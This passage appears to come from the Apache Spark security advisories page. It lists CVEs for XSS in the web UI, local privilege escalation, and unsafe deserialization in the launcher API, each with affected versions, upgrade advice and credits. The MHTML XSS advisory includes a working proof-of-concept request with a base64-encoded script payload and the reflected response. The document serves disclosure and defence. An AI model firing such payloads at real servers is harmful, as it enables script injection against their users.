*   Spark 2.1.0 through 2.1.2
*   Spark 2.2.0 through 2.2.1
*   Spark 2.3.0

Description:

In Apache Spark 2.1.0 to 2.1.2, 2.2.0 to 2.2.1, and 2.3.0, it’s possible for a malicious user to construct a URL pointing to a Spark cluster’s UI’s job and stage info pages, and if a user can be tricked into accessing the URL, can be used to cause script to execute and expose information from the user’s view of the Spark UI. While some browsers like recent versions of Chrome and Safari are able to block this type of attack, current versions of Firefox (and possibly others) do not.

Mitigation:

*   2.1.x users should upgrade to 2.1.3 or newer
*   2.2.x users should upgrade to 2.2.2 or newer
*   2.3.x users should upgrade to 2.3.1 or newer

Credit:

*   Spencer Gietzen, Rhino Security Labs

**CVE-2018-1334: Apache Spark™ local privilege escalation vulnerability**

Severity: High

Vendor: The Apache Software Foundation

Versions affected:

*   Spark versions through 2.1.2
*   Spark 2.2.0 to 2.2.1
*   Spark 2.3.0

Description:

In Apache Spark up to and including 2.1.2, 2.2.0 to 2.2.1, and 2.3.0, when using PySpark or SparkR, it’s possible for a different local user to connect to the Spark application and impersonate the user running the Spark application.

Mitigation:

*   1.x, 2.0.x, and 2.1.x users should upgrade to 2.1.3 or newer
*   2.2.x users should upgrade to 2.2.2 or newer
*   2.3.x users should upgrade to 2.3.1 or newer
*   Otherwise, affected users should avoid using PySpark and SparkR in multi-user environments.

Credit:

*   Nehmé Tohmé, Cloudera, Inc.

**CVE-2017-12612 Unsafe deserialization in Apache Spark™ launcher API**

JIRA: SPARK-20922

Severity: Medium

Vendor: The Apache Software Foundation

Versions Affected:

*   Versions of Apache Spark from 1.6.0 until 2.1.1

Description:

In Apache Spark 1.6.0 until 2.1.1, the launcher API performs unsafe deserialization of data received by its socket. This makes applications launched programmatically using the launcher API potentially vulnerable to arbitrary code execution by an attacker with access to any user account on the local machine. It does not affect apps run by spark-submit or spark-shell. The attacker would be able to execute code as the user that ran the Spark application. Users are encouraged to update to version 2.1.2, 2.2.0 or later.

Mitigation:

Update to Apache Spark 2.1.2, 2.2.0 or later.

Credit:

*   Aditya Sharad, Semmle

**CVE-2017-7678 Apache Spark™ XSS web UI MHTML vulnerability**

JIRA: SPARK-20393

Severity: Medium

Vendor: The Apache Software Foundation

Versions Affected:

*   Versions of Apache Spark before 2.1.2, 2.2.0

Description:

It is possible for an attacker to take advantage of a user’s trust in the server to trick them into visiting a link that points to a shared Spark cluster and submits data including MHTML to the Spark master, or history server. This data, which could contain a script, would then be reflected back to the user and could be evaluated and executed by MS Windows-based clients. It is not an attack on Spark itself, but on the user, who may then execute the script inadvertently when viewing elements of the Spark web UIs.

Mitigation:

Update to Apache Spark 2.1.2, 2.2.0 or later.

Example:

Request:

    GET /app/?appId=Content-Type:%20multipart/related;%20boundary=_AppScan%0d%0a--
    _AppScan%0d%0aContent-Location:foo%0d%0aContent-Transfer-
    Encoding:base64%0d%0a%0d%0aPGh0bWw%2bPHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD48L2h0bWw%2b%0d%0a
    HTTP/1.1
    

Excerpt from response:

    <div class="row-fluid">No running application with ID Content-Type: multipart/related;
    boundary=_AppScan
    --_AppScan
    Content-Location:foo
    Content-Transfer-Encoding:base64
    PGh0bWw+PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD48L2h0bWw+
    </div>
    

Result: In the above payload the BASE64 data decodes as:

    <html><script>alert("XSS")</script></html>
    

Credit:

*   Mike Kasper, Nicholas Marion
*   IBM z Systems Center for Secure Engineering

Tag

#firefox